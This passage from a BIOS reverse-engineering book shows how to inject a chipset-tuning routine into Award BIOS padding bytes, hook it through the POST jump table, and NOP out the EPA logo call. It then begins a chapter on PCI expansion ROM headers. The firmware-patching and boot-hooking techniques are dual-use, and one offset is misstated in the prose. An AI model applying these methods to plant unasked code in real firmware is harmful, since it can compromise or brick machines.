proceed to injecting code. However, the latter is the seldom case. 

6. Inject the assembled custom procedure to the extracted system BIOS by using the 
hex editor. 

7. Use a hex editor to modify the POST jump table to include a jump to the 
procedure. 

8. Use modbin to pack the modified system BIOS into the BIOS binary. 
9. Flash the modified BIOS binary to the motherboard. 

 
 As a sample code-injection case study, I will show you how to build a patch for 
Iwill VD133 motherboard BIOS. The BIOS date is July 28, 2000, and the file name is 
vd30728.bin. A motherboard is based on the VIA 693A-596B chipset. This patch has been 
tested thoroughly and works perfectly. The BIOS of this motherboard is based on the older 
Award BIOS version 4.50PG code. However, as you have learned, this code injection 
procedure is portable among Award BIOS versions because all versions use the POST jump 
table to execute POST. Proceed as explained in the code injection steps earlier. 
 
 
6.2.1. Locating the POST Jump Table 
 
 I won't go into detail explaining how to find the POST jump table in Award BIOS 
version 4.50PG. It's a trivial task after you've learned the Award BIOS reverse engineering 
procedure detailed in the previous chapter. One hint, though: decompress the system BIOS 
and go directly to the system BIOS entry point at F000:F80Dh to start searching for the 
POST jump table. You will find the POST jump table shown in listing 6.1. 
 

Listing 6.1 Iwill VD133 POST Jump Table 

E000:61C2 Begin_E000_POST_Jmp_Table 
E000:61C2   dw 154Eh             ; Restore warm-boot flag 
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E000:61C4   dw 156Fh             ; Dummy procedure 
E000:61C6   dw 1571h             ; Initialize keyboard controller and 
E000:61C6                        ; halt on error 
E000:61C8   dw 16D2h             ; 1. Check Fseg in RAM; beep on error 
E000:61C8                        ; 2. Identify FlashROM chip 
E000:61CA   dw 1745h             ; Check CMOS circuit 
E000:61CC   dw 178Ah             ; Chipset reg default values (code in 
E000:61CC                        ; awardext.rom, data in Fseg) 
E000:61CE   dw 1798h             ; 1. Initialize CPU flags 
E000:61CE                        ; 2. Disable A20 
E000:61D0   dw 17B8h             ; 1. Initialize interrupt vector 
E000:61D0                        ; 2. Initialize "signatures" used for 
E000:61D0                        ;    Ext_BIOS components decompression 
E000:61D0                        ; 3. Initialize PwrMgmtCtlr 
E000:61D2   dw 194Bh             ; 1. Initialize FPU 
E000:61D2                        ; 2. Initialize microcode (init CPU) 
E000:61D2                        ; 3. Initialize FSB (clock gen) 
E000:61D2                        ; 4. Initialize W87381D VID regs 
E000:61D4   dw 1ABCh             ; Update flags in BIOS data area 
E000:61D6   dw 1B08h             ; 1. NNOPROM and ROSUPD decompression 
E000:61D6                        ; 2. Video BIOS initialization 
E000:61D8   dw 1DC8h             ; Initialize video controller, video 
E000:61D8                        ; BIOS, EPA procedure 
E000:61DA   dw 2342h             ; Initialize PS/2 devices 
E000:61DC   dw 234Eh             ; Dummy 
E000:61DE   dw 2353h             ; Dummy procedure 
E000:61E0   dw 2355h             ; Dummy procedure 
E000:61E2   dw 2357h             ; Dummy procedure 
E000:61E4   dw 2359h             ; Initialize mobo timer 
E000:61E6   dw 23A5h             ; Initialize interrupt controller 
E000:61E8   dw 23B6h             ; Initialize interrupt controller cont'd 
E000:61EA   dw 23F9h             ; Dummy procedure 
E000:61EC   dw 23FBh             ; Initialize interrupt controller cont'd 
E000:61EE   dw 2478h             ; Dummy procedure 
E000:61F0   dw 247Ah             ; Dummy procedure 
E000:61F2   dw 247Ah             ; Dummy procedure 
E000:61F4   dw 247Ah             ; Dummy procedure 
E000:61F6   dw 247Ah             ; Dummy procedure 
E000:61F8   dw 247Ch             ; Call ISA POST tests (below) 
E000:61F8 End_E000_POST_Jmp_Table 
 
 
6.2.2. Finding a Dummy Procedure in the POST Jump Table 
 
 As seen in listing 6.1, Iwill VD133 system BIOS contains some dummy 
procedures. Thus, this step is completed. 
 
 
6.2.3. Assembling the Injected Code 
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 Listing 6.2 is the source code of the procedure that I inject into the Iwill VD133 
BIOS. It's in FASM syntax. 
 

Listing 6.2 VIA 693A Chipset Patch Source Code in FASM Syntax 

; ---------------------- file: mem_optimize.asm ------------------------- 
use16 
 
start: 
        pushf 
        cli 
 
        mov  cx, 0x50           ; Patch the in-order queue register of 
                                ; the chipset 
        call Read_PCI_Bus0_Byte 
        or   al, 0x80 
        mov  cx, 0x50 
        call Write_PCI_Bus0_Byte 
 
        mov  cx, 0x64           ; DRAM Bank 0/1 Interleave = 4 way 
        call Read_PCI_Bus0_Byte 
        or   al, 2 
        mov  cx, 0x64 
        call Write_PCI_Bus0_Byte 
 
        mov  cx, 0x65           ; DRAM Bank 2/3 Interleave = 4 way 
        call Read_PCI_Bus0_Byte 
        or   al, 2 
        mov  cx, 0x65 
        call Write_PCI_Bus0_Byte 
 
        mov  cx, 0x66           ; DRAM Bank 4/5 Interleave = 4 way 
        call Read_PCI_Bus0_Byte 
        or   al, 2 
        mov  cx, 0x66 
        call Write_PCI_Bus0_Byte 
 
        mov  cx, 0x67           ; DRAM Bank 6/7 Interleave = 4 way 
        call Read_PCI_Bus0_Byte 
        or   al, 2 
        mov  cx, 0x67 
        call Write_PCI_Bus0_Byte 
 
        mov  cx, 0x68           ; Allow pages of different banks to be 
                                ; active simultaneously 
        call Read_PCI_Bus0_Byte 
        or   al, 0x44 
        mov  cx, 0x68 
        call Write_PCI_Bus0_Byte 
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        mov  cx, 0x69           ; Fast DRAM precharge for different banks 
        call Read_PCI_Bus0_Byte 
        or   al, 0x8 
        mov  cx, 0x69 
        call Write_PCI_Bus0_Byte 
 
        mov  cx, 0x6C           ; Activate Fast TLB lookup 
        call Read_PCI_Bus0_Byte 
        or   al, 0x8 
        mov  cx, 0x6C 
        call Write_PCI_Bus0_Byte 
 
        popf 
 
        clc              ; Indicate that this POST routine was successful 
        retn             ; Return near next POST entry 
 
; -- Read_PCI_Byte__ -- 
; in: cx = dev_func_offset_addr 
; out: al = reg_value 
 
Read_PCI_Bus0_Byte: 
        mov   ax, 8000h 
        shl   eax, 10h 
        mov   ax, cx 
        and   al, 0FCh 
        mov   dx, 0CF8h 
        out   dx, eax 
        mov   dl, 0FCh 
        mov   al, cl 
        and   al, 3 
        add   dl, al 
        in    al, dx 
        retn 
 
; -- Write_Bus0_Byte -- 
; in: cx = dev_func_offset addr 
;     al = reg_value to write 
 
Write_PCI_Bus0_Byte: 
        xchg  ax, cx 
        shl   ecx, 10h 
        xchg  ax, cx 
        mov   ax, 8000h 
        shl   eax, 10h 
        mov   ax, cx 
        and   al, 0FCh 
        mov   dx, 0CF8h 
        out   dx, eax 
        add   dl, 4 
        or    dl, cl 
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        mov   eax, ecx 
        shr   eax, 10h 
        out   dx, al 
        retn 
; --------------------- file: mem_optimize.asm -------------------------- 
 
 The patch source code in FASMW is assembled by pressing CTRL+F9; it's as 
simple as that. The result of assembling this procedure is a binary file that, when viewed 
with Hex Workshop, looks like hex dump 6.1. 
 

Hex dump 6.1 VIA 693A Chipset Patch 

Address    Hexadecimal Value                        ASCII Value 
00000000 9CFA B950 00E8 6D00 0C80 B950 00E8 7F00 ...P..m....P.... 
00000010 B964 00E8 5F00 0C02 B964 00E8 7100 B965 .d.._....d..q..e 
00000020 00E8 5100 0C02 B965 00E8 6300 B966 00E8 ..Q....e..c..f.. 
00000030 4300 0C02 B966 00E8 5500 B967 00E8 3500 C....f..U..g..5. 
00000040 0C02 B967 00E8 4700 B968 00E8 2700 0C44 ...g..G..h..'..D 
00000050 B968 00E8 3900 B969 00E8 1900 0C08 B969 .h..9..i.......i 
00000060 00E8 2B00 B96C 00E8 0B00 0C08 B96C 00E8 ..+..l.......l.. 
00000070 1D00 9DF8 C3B8 0080 66C1 E010 89C8 24FC ........f.....$. 
00000080 BAF8 0C66 EFB2 FC88 C824 0300 C2EC C391 ...f.....$...... 
00000090 66C1 E110 91B8 0080 66C1 E010 89C8 24FC f.......f.....$. 
000000A0 BAF8 0C66 EF80 C204 08CA 6689 C866 C1E8 ...f......f..f.. 
000000B0 10EE C3                                 ... 
 
 I won't dwell on a line-by-line explanation because listing 6.2 is properly 
commented. I will just explain the big picture of the functionality of the code. Listing 6.2 is 
a patch to improve the performance of the memory subsystem of the VIA 693A chipset. It 
initializes the memory controller of VIA 693A to a high performance setting. One thing to 
note in the listing 6.2 that to appropriately initialize a PCI chipset such as VIA 693A, it's 
not enough to relax the read and write timing from and to the chipset in the code. More 
importantly, you have to initialize only one register at a time to minimize the "sudden load" 
on the chipset during the initialization process. This is especially true for performance-
related registers within the chipset. If you fail to do so, it's possible that the patch will make 
the system unstable. 
 
 
6.2.4. Extracting the Genuine System BIOS 
 
 Extracting the genuine system BIOS that you will modify is easy. Simply load the 
corresponding BIOS binary file (vd30728.bin) in modbin, as you learned in section 6.1. 
You will need to use modbin version 4.50.80C to do that. Once the binary is loaded in 
modbin 4.50.80C, the system BIOS will be automatically extracted to the same directory as 
the BIOS binary and will be named original.tmp. However, you have to pay attention to 
avoid closing modbin before the modification to the system BIOS with third-party tools is 
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finished. "Third party" in this context means the hex editor and other external tools used to 
modify the extracted system BIOS. 
 
 
6.2.5. Looking for Padding Bytes 
 
 Finding padding bytes in Award system BIOS is quite easy; just look for block of 
FFh bytes. In Award BIOS version 4.50PG code, the padding bytes are located near the end 
of the first segment4 of the system BIOS. Note that the first segment of the system BIOS is 
mapped into the E000h segment during POST execution and that the POST jump table is 
located in this segment. Thus, code that's injected in this segment can be called by placing 
the appropriate offset address into the POST jump table. Now, view these padding bytes 
from within Hex Workshop. 
 

Hex dump 6.2 VD30728.BIN System BIOS Padding Bytes 

Address    Hexadecimal Value                        ASCII Value 
0000EFD0 C300 0000 0000 0000 0000 0000 0000 0000 ................ 
0000EFE0 C300 0000 0000 0000 0000 0000 0000 0000 ................ 
0000EFF0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 
0000F000 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 
0000F010 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 
0000F020 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 
0000F030 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 
0000F040 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 
0000F050 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 
0000F060 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 
0000F070 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 
0000F080 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 
0000F090 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 
0000F0A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 
0000F0B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 
 
 The bytes with FFh values in the preceding hex dump are the padding bytes that 
will replace the custom patch. 
 
 
6.2.6. Injecting the Code 
 
 Before injecting code into the system BIOS, you must ensure that there are enough 
consecutive padding bytes to be replaced by the injected code. If you compare hex dump 
6.2 and hex dump 6.1, it's clear that there are enough padding bytes. You only need B3h 
bytes to replace in the system BIOS to inject the procedure, and hex dump 6.2 shows more 

                                                 
 
4 The first segment refers to the first 64 KB. 
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padding bytes than that. Now, compare the hex dump before (hex dump 6.2) and after (hex 
dump 6.3) the injection of the code. 
 

Hex dump 6.3 VD30728.bin System BIOS after Code Injection 

Address     Hexadecimal values                       ASCII 
0000EFD0 C300 0000 0000 0000 0000 0000 0000 0000 ................ 
0000EFE0 C300 0000 0000 0000 0000 0000 0000 0000 ................ 
0000EFF0 9CFA B950 00E8 6D00 0C80 B950 00E8 7F00 ...P..m....P.... 
0000F000 B964 00E8 5F00 0C02 B964 00E8 7100 B965 .d.._....d..q..e 
0000F010 00E8 5100 0C02 B965 00E8 6300 B966 00E8 ..Q....e..c..f.. 
0000F020 4300 0C02 B966 00E8 5500 B967 00E8 3500 C....f..U..g..5. 
0000F030 0C02 B967 00E8 4700 B968 00E8 2700 0C44 ...g..G..h..'..D 
0000F040 B968 00E8 3900 B969 00E8 1900 0C08 B969 .h..9..i.......i 
0000F050 00E8 2B00 B96C 00E8 0B00 0C08 B96C 00E8 ..+..l.......l.. 
0000F060 1D00 9DF8 C3B8 0080 66C1 E010 89C8 24FC ........f.....$. 
0000F070 BAF8 0C66 EFB2 FC88 C824 0300 C2EC C391 ...f.....$...... 
0000F080 66C1 E110 91B8 0080 66C1 E010 89C8 24FC f.......f.....$. 
0000F090 BAF8 0C66 EF80 C204 08CA 6689 C866 C1E8 ...f......f..f.. 
0000F0A0 10EE C3FF FFFF FFFF FFFF FFFF FFFF FFFF ................ 
0000F0B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 
 
 The hex values highlighted in red in hex dump 6.3 are the injected code that 
replaces the padding bytes. 
 
 
6.2.7. Modifying the POST Jump Table 
 
 Modifying the POST jump table is an easy task. Just look at the location of the 
previously injected code and place the offset address of the injected code into the dummy 
POST jump table entry. However, I must emphasize that this method works only for code 
that's injected into the first segment of the system BIOS binary. This is because the POST 
jump table entries only contain the 16-bit offset addresses of the corresponding POST 
procedures.5
 Now, let's get down to the details. As shown in hex dump 6.3, the injected code 
entry point is at offset EFF0h in the first segment of the system BIOS. In addition, you 
know that the POST jump table is located in the same segment as the injected code.6 Thus, 
all you have to do is to replace one of the dummy-procedure offsets in the POST jump table 
with the EFF0h value. To do so, replace the dummy procedure call offset at address 

                                                 
 
5 The POST procedures are located in the same segment as the POST jump table. 
6 As per the "Award System BIOS Reverse Engineering" section in previous chapter, you know that 
the POST jump table is located in segment E000h, the first segment of the Award system BIOS 
(original.tmp or original.bin). 
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E000:61DCh,7 shown in listing 6.1, with the E000h value (the injected procedure entry point 
offset). The result of this action is shown in listing 6.3. 
 

Listing 6.3 Modified POST Jump Table Disassembly 

E000:61C2 Begin_E000_POST_Jmp_Table 
E000:61C2   dw 154Eh             ; Restore warm-boot flag 
E000:61C4   dw 156Fh             ; Dummy procedure 
E000:61C6   dw 1571h             ; Initialize keyboard controller and 
E000:61C6                        ; halt on error 
E000:61C8   dw 16D2h             ; 1. Check Fseg in RAM; beep on error 
E000:61C8                        ; 2. Identify FlashROM chip 
E000:61CA   dw 1745h             ; Check CMOS circuit 
E000:61CC   dw 178Ah             ; Chipset reg default values (code in 
E000:61CC                        ; awardext.rom, data in Fseg) 
E000:61CE   dw 1798h             ; 1. Init CPU flags 
E000:61CE                        ; 2. Disable A20 
E000:61D0   dw 17B8h             ; 1. Initialize interrupt vector 
E000:61D0                        ; 2. Initialize "signatures" used for 
E000:61D0                        ;    Ext_BIOS components decompression 
E000:61D0                        ; 3. Initialize PwrMgmtCtlr 
E000:61D2   dw 194Bh             ; 1. Initialize FPU 
E000:61D2                        ; 2. Initialize microcode (init CPU) 
E000:61D2                        ; 3. Initialize FSB (clock gen) 
E000:61D2                        ; 4. Initialize W87381D VID regs 
E000:61D4   dw 1ABCh             ; Update flags in BIOS data area 
E000:61D6   dw 1B08h             ; 1. NNOPROM and ROSUPD decompression 
E000:61D6                        ; 2. Video BIOS initialization 
E000:61D8   dw 1DC8h             ; Initialize video controller, video 
E000:61D8                        ; BIOS, EPA procedure 
E000:61DA   dw 2342h             ; Initialize PS/2 devices 
E000:61DC   dw 0EFF0h            ; Patch chipset --> injected code 
E000:61DE   dw 2353h             ; Dummy procedure 
E000:61E0   dw 2355h             ; Dummy procedure 
E000:61E2   dw 2357h             ; Dummy procedure 
E000:61E4   dw 2359h             ; Initialize mobo timer 
E000:61E6   dw 23A5h             ; Initialize interrupt controller 
E000:61E8   dw 23B6h             ; Initialize interrupt controller cont'd 
E000:61EA   dw 23F9h             ; Dummy procedure 
E000:61EC   dw 23FBh             ; Initialize interrupt controller cont'd 
E000:61EE   dw 2478h             ; Dummy procedure 
E000:61F0   dw 247Ah             ; Dummy procedure 
E000:61F2   dw 247Ah             ; Dummy procedure 
E000:61F4   dw 247Ah             ; Dummy procedure 
E000:61F6   dw 247Ah             ; Dummy procedure 

                                                 
 
7 E000:61DCh in the system BIOS is shown as address 61DCh if you look at the binary in Hex 
Workshop. 
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E000:61F8   dw 247Ch             ; Call ISA POST tests (below) 
E000:61F8 End_E000_POST_Jmp_Table 
 
 
6.2.8. Rebuilding the BIOS Binary 
 
 Rebuilding the BIOS binary is simple. Just finish the modification on the 
temporary system BIOS. Then save the changes in modbin. Once you have saved the 
changes, modbin will pack all temporary decompressed components into the BIOS binary. 
In this particular example, the changes are saved in modbin 4.50.80C and modbin is closed. 
 
 
6.2.9. Flashing the Modified BIOS Binary 
 
 Flashing the modified BIOS binary into the motherboard BIOS chip is trivial. For 
Award BIOS, just use the awardflash program that's shipped with the motherboard BIOS. I 
don't have to discuss this step in detail because it's trivial to do. 
 
 Now, you have completed all of the modification steps and are ready to test the 
modified BIOS binary. In this particular modification example, I've tested the modified 
BIOS binary and it works as expected. Note that sometimes you have to restart the system a 
few times to ensure that the system is fine after the modification. 
 
 
6.3. Other Modifications 
 
 After the basics of Award BIOS reverse engineering in the previous chapter, 
various modification techniques come to mind. Frankly, you can modify almost every 
aspect of the BIOS by adjusting the boot block, modifying the system BIOS, adding new 
components, etc. 
 As you know, the boot block starts execution at address F000:FFF0h or at its alias 
at FFFFFFF0h. In Award BIOS, this entry point always jumps to F000:F05Bh. You can 
redirect this jump into a custom-made procedure that's injected in the boot block padding 
bytes and subsequently jump back to F000:F05Bh in the end of the injected procedure. The 
padding bytes in boot block are few. Thus, only a little code can be injected there. That's 
one possible modification. 
 Another type of modification is patching certain "interesting" procedures within 
the system BIOS binary. However, there is one inherent problem with it. Searching for the 
location of an interesting procedure can be time-consuming if you intend to make a similar 
modification in several BIOS files. To alleviate this problem, you can use a technique 
usually used in the computer security realm called "forming a binary signature." A binary 
signature is a unique block of bytes that represents certain consecutive machine 
instructions. 
 You might be tempted to think that it's hard to find a pattern on a binary file with 
256 possible combination per byte. This is true to some degree. However, the system BIOS 
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binary contains more code than the data section, even though they overlap. Thus, finding a 
byte pattern is quite easy, because x86 instruction bytes have particular rules that must be 
adhered to, just like other processor architectures. In addition, it's natural not to waste 
precious space in RAM and a BIOS chip by repeating the same group of instructions. This 
space-saving technique is accomplished by forming a procedure or routine for a group of 
instructions that will be invoked from another section of the binary. This provides the huge 
possibility to find a unique group of instructions, a byte pattern, within the binary because it 
means that they are rarely repeated. The task of forming a new signature is not too hard. 
These are the "algorithm": 
 

1. Find the interesting procedure with a disassembler. 
2. Observe the instruction groups that make up the procedure and note their 

equivalent hexadecimal values. 
3. Find some bytes, i.e., a few instructions lumped as a group as the "initial guess" 

for the signature. Search for other possibilities of occurrence of the initial guess in 
the binary with a hex editor. If the group occurs more than once, add some 
instruction bytes into the initial guess and repeat until only one occurrence is 
found in the binary. Voila, the signature is formed. 

 
 Once you have formed the signature, the task of patching the system BIOS file is 
task. You can even build a "patcher" to automate the process. 
 To be able to locate a specific procedure to patch, you have to know something 
about it; this allows you to make an intelligent guess about its location. In a Windows 
binary file, a call to certain operating system function is the necessary hint. For BIOS 
binary, here are a few tips: 
 

1. If you are looking for an I/O-related procedure, start by looking for "suspicious" 
access to the particular I/O port. It's better to know the protocol that's supposed to 
be used by the I/O port in advance. For example, if you want to find the chipset 
initialization routine, start looking for accesses to the PCI configuration address 
port (CF8h–CFBh) and data port (CFCh–CFFh). That's because access to the chipset 
is through PCI configuration cycles. In addition, if you want to look for the IDE 
device initialization routines, you have to start looking for accesses to ports 1F0h–
1F7h and 170h–177h. 

2. Some devices are mapped to some predefined memory address range. For 
example, the VGA frame buffer is mapped to B_0000h or B_8000h. These are 
quirks you must know. 

3. By using the BIOS POST code8 as a reference, you can crosscheck an output to 
the POST code port, i.e., port 80h with the routine you are looking for. During 
BIOS execution, a lot of POST code is written to port 80h, and each POST code 

                                                 
 
8 POST code in this context is not the POST routine but the hexadecimal value written to port 80h 
that can be displayed in a specialized expansion card called the POST card. 
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corresponds to completion of a routine or a corresponding error code. It can be a 
valuable hint. 

 
 In principle, you have to know the big picture and then narrow the target in each 
step. For BIOS binary, in most cases you have to be particularly aware of the hardware 
protocol you are targeting and the memory or I/O address range that relates to the protocol. 
Once the protocol is known, you can look for the procedure quite easily. BIOS routines are 
implementations of the bus protocol, sometimes with only modest modification from the 
samples in the protocol documentation. 
 As a sample of the BIOS patching scenario, modify the so-called EPA procedure. 
The Environmental Protection Agency (EPA) procedure is the procedure that draws the 
EPA logo during Award BIOS execution. Disable this feature by replacing the EPA 
procedure call with nop (do nothing) instructions. The EPA procedure in Award BIOS is a 
quite well-known procedure. Thus, the signature is already widespread on the Net. In Iwill 
VD133 BIOS, to modify the EPA procedure look for the "80 8EE1 0110 F646 1430" byte 
pattern as follows: 
 
Hex values                    Assembly Code 
80 8E E1 01 10            or    byte ptr [bp+1E1h], 10h 
F6 46 14 30               test  byte ptr [bp+14h], 30h 
 
 Then subsequently patch it, as illustrated in the BIOS modification change log: 
 
Changes in VD30728X.BIN: 
----------------------------------- 
source file name   : VD30728.BIN 
modified file name : VD30728X.BIN 
 
Modification goal: To disable the EPA procedure. 
 
Before modification, the code looks like (disassembled original.tmp) 
......... 
E000:1E4C B8 00 F0                  mov   ax, 0F000h 
E000:1E4F 8E D8                     mov   ds, ax 
E000:1E51                           assume ds:_F000h 
E000:1E51 E8 8C 11                  call  exec_nnoprom_100h 
E000:1E54 73 03                     jnb   short skip_epa_proc 
E000:1E56 E8 C3 00                  call  EPA_Procedure 
E000:1E59                         skip_epa_proc: 
E000:1E59 E8 AF 01                  call  init_EGA_video 
......... 
E000:1F1C                         EPA_Procedure proc near 
E000:1F1C 80 8E E1 01 10            or    byte ptr [bp+1E1h], 10h 
E000:1F21 F6 46 14 30               test  byte ptr [bp+14h], 30h 
E000:1F25 74 01                     jz    short loc_E000_1F28 
E000:1F27 C3                        retn 
E000:1F28                         ; ------------------------------------- 
E000:1F28                         loc_E000_1F28: 
E000:1F28 06                        push  es 
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......... 
After modification, the code looks like (disassembled original.tmp) 
......... 
E000:1E4C B8 00 F0                  mov   ax, 0F000h 
E000:1E4F 8E D8                     mov   ds, ax 
E000:1E51                           assume ds:nothing 
E000:1E51 90                        nop 
E000:1E52 90                        nop 
E000:1E53 90                        nop 
E000:1E54 90                        nop 
E000:1E55 90                        nop 
E000:1E56 90                        nop 
E000:1E57 90                        nop 
E000:1E58 90                        nop 
E000:1E59 E8 AF 01                  call  init_EGA_Video 
......... 
 
Testing result: Goal reached; the BIOS doesn't display the EPA logo as 
intended and the system still works normally. 
 
 If you want to try this modification yourself, patch the highlighted instructions by 
using the hex editor to NOP (90h) as shown previously. In this sample, the signature is 
known in advance. Hence, there is no difficulty in carrying out the modification. 
 There are many other advanced modifications that you can make to the BIOS 
binary. I hope that the explanation of the basic principles in this chapter will be enough so 
that you dare to try more extreme modifications. 
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Part III Expansion ROM 
 
 

Chapter 7 PCI Expansion ROM Software 
Development 
 
 
PREVIEW 
 
 This chapter is devoted to explaining the development of PCI expansion ROM. I 
start with the prerequisite knowledge, i.e., an explanation of the Plug and Play (PnP) BIOS 
architecture and PCI expansion ROM architecture, both hardware and software. Then, I 
proceed to develop a straightforward PCI expansion ROM example. The material in this 
chapter has been published in CodeBreakers Journal1

 
 
7.1. PnP BIOS and Expansion ROM Architecture 
 
 You learned in chapter 1 that expansion ROMs are initialized during POST 
execution. The card's expansion ROMs were called by the system BIOS to initialize the 
card properly before the loading of the operating system. 
 
 
7.1.1. PnP BIOS Architecture 
 
 This section does not provide a complete explanation of the PnP BIOS 
architecture. It only explains the parts of the PnP BIOS architecture necessary to develop a 
PCI expansion ROM. 
 These parts are the specification of the initialization code that resides in the 
expansion cards and the specification of the bootstrap process, i.e., transferring control 
from the BIOS to the operating system after the BIOS has finished initializing the system. 
Initialization of option ROM is part of the POST routine in the system BIOS. The related 
information from the "Plug and Play BIOS Specification, version 1.0A" is provided in the 
next sections. 
 

POST Execution Flow 

The following steps outline a typical flow of a Plug and Play system BIOS 
POST. . . . 

                                                 
 
1 Low Cost Embedded x86 Teaching Tool, The CodeBreakers Journal Volume 1 Issue 1, 2006 
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1. Disable all configurable devices. Any configurable devices known to the 
system BIOS should be disabled early in the POST process. 
 
2. Identify all Plug and Play ISA devices. Assign CSNs [card select numbers] 
to Plug and Play ISA devices but keep devices disabled. Also determine 
which devices are boot devices. 
 
3. Construct an initial resource map of allocated resources . . . that are 
statically allocated to devices in the system. If the system software has 
explicitly specified the system resources assigned to ISA devices in the 
system through the "set statically allocated resource information" function, 
the system BIOS will create an initial resource map based on this 
information. If the BIOS implementation provides support for saving the last 
working configuration and the system software has explicitly assigned 
system resources to specific devices in the system, then this information will 
be used to construct the resource map. This information will also be used to 
configure the devices in the system. . . . 
 
4. Select and enable the input and output device. Compatibility devices in 
the system that are not configurable always have precedence. For example, 
a standard VGA adapter would become the primary output device. If 
configurable input and output devices exist, then enable these devices at 
this time. If Plug and Play input and output devices are being selected, then 
initialize the option ROM, if it exists, using the Plug and Play option ROM 
initialization procedure. . . . 
 
5. Perform an ISA ROM scan . . . from C0000h to EFFFFh on every 2-KB 
boundary. Plug and Play option ROMs are disabled at this time (except input 
and output boot devices) and will not be included in the ROM scan. 
 
6. Configure the IPL [initial program load] device. If a Plug and Play device 
has been selected as the IPL device, then use the Plug and Play option ROM 
procedure to initialize the device. If the IPL device is known to the system 
BIOS, then ensure that interrupt 19h is still controlled by the system BIOS. 
If not, recapture interrupt 19h and save the vector. 
 
7. Enable Plug and Play ISA and other configurable devices. If a static 
resource allocation method is used, then enable the PnP ISA cards with 
conflict-free resource assignments. Initialize the option ROMs and pass along 
the defined parameters. All other configurable devices should be enabled, if 
possible, at this time. If a dynamic resource allocation method is used, then 
enable the bootable Plug and Play ISA cards with conflict-free resource 
assignments and initialize the option ROMs. 
 
8. Initiate the interrupt 19h IPL sequence. Start the bootstrap loader. If the 
operating system fails to load and a previous option ROM had control of the 
interrupt 19h vector, then restore the interrupt 19h vector to the option ROM 
and re-execute the interrupt 19h bootstrap loader. 
 
9. Operating system takes over resource management. If the loaded 
operating system is Plug and Play compliant, then it will take over 
management of the system resources. It will use the runtime services of the 
system BIOS to determine the current allocation of these resources. It is 
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assumed that any unconfigured Plug and Play devices will be configured by 
the appropriate system software or the Plug and Play operating system. 
 

Option ROM Support 

This section outlines the Plug and Play option ROM requirements. This option 
ROM support is directed specifically towards boot devices; however, the 
static resource information vector permits non–Plug and Play devices which 
have option ROMs to take advantage of the Plug and Play option ROM 
expansion header to assist a Plug and Play environment whether or not it is 
a boot device. A boot device is defined as any device which must be 
initialized prior to loading the operating system. Strictly speaking, the only 
required boot device is the . . . IPL device upon which the operating system 
is stored. However, the definition of boot devices is extended to include a 
primary input device and a primary output device. In some situations these 
I/O devices may be required for communication with the user. All new Plug 
and Play devices that support option ROMs should support the Plug and Play 
option ROM header. In addition, all non–Plug and Play devices may be 
"upgraded" to support the Plug and Play option ROM header as well. While 
static ISA devices will still not have software configurable resources, the 
Plug and Play option ROM header will greatly assist a Plug and Play system 
BIOS in identification and selection of the primary boot devices. 
 
It is important to note that the option ROM support outlined here is defined 
specifically for computing platforms based on the Intel x86 family of 
microprocessors and may not apply to systems based on other types of 
microprocessors. 
 

Option ROM Header 

The Plug and Play option ROM header follows the format of the generic 
option ROM header extensions. . . . The generic option ROM header is a 
mechanism whereby the standard ISA option ROM header may be expanded 
with minimal impact upon existing option ROMs. The pointer at offset 1Ah 
may point to any type of header. Each header provides a link to the next 
header; thus, future option ROM headers may use this same generic pointer 
and still coexist with the Plug and Play option ROM header. Each option ROM 
header is identified by a unique string. The length and checksum bytes allow 
the system BIOS and/or system software to verify that the header is valid. 
 

Offset Length Value Description Type 

0h 2h AA55h Signature Standard 

2h 1h Varies Option ROM length Standard 

3h 4h Varies Initialization vector Standard 

7h 13h Varies Reserved Standard 

1Ah 2h Varies 
Offset to expansion header 
structure 

New for Plug and 
Play 

Standard option ROM header 
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• Signature. All ISA expansion ROMs are currently required to identify 
themselves with a signature word of AA55h at offset 0. This signature is 
used by the system BIOS as well as other software to identify that an option 
ROM is present at a given address. 
 
• Length. The length of the option ROM in 512-byte increments. 
 
• Initialization vector. The system BIOS will execute a FAR CALL to this 
location to initialize the option ROM. A Plug and Play system BIOS will 
identify itself to a Plug and Play option ROM by passing a pointer to a Plug 
and Play identification structure when it calls the option ROM's initialization 
vector. If the option ROM determines that the system BIOS is a Plug and 
Play BIOS, the option ROM should not hook the input, display, or IPL device 
vectors (INT 9h, 10h, or 13h) at this time. Instead, the device should wait 
until the system BIOS calls the boot connection vector before it hooks any of 
these vectors. Note: A Plug and Play device should never hook INT 19h or 
INT 18h until its boot connection vector, offset 16h of the expansion header 
structure . . . , has been called by the Plug and Play system BIOS. If the 
option ROM determines that it is executing under a Plug and Play system 
BIOS, it should return some device status parameters upon return from the 
initialization call. . . . The field is four bytes wide even though most 
implementations may adhere to the custom of defining a simple three-byte 
NEAR JMP. The definition of the fourth byte may be OEM [original equipment 
manufacturer] specific. 
 
• Reserved. This area is used by various vendors and contains OEM-specific 
data and copyright strings. 
 
• Offset to expansion header. This location contains a pointer to a linked 
list of option ROM expansion headers. Various expansion headers (regardless 
of their type) may be chained together and accessible via this pointer. The 
offset specified in this field is the offset from the start of the option ROM 
header. 
 

Expansion Header for Plug and Play 

Offset Length Value Description Type 

0h 4 bytes 
$PnP 
(ASCII) 

Signature Generic 

04h Byte Varies Structure revision 01h 

05h Byte Varies Length (in 16 byte increments) Generic 

06h Word Varies Offset of next header (0000h if none) Generic 

08h Byte 00h Reserved Generic 

09h Byte Varies Checksum Generic 

0Ah Dword Varies Device identifier 
PnP 
specific 

0Eh Word Varies 
Pointer to manufacturer string 
(optional) 

PnP 
specific 
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10h Word Varies 
Pointer to product name string 
(optional) 

PnP 
specific 

12h 3 bytes Varies Device type code 
PnP 
specific 

15h Byte Varies Device indicators 
PnP 
specific 

16h Word Varies 
Boot connection vector: real/protected 
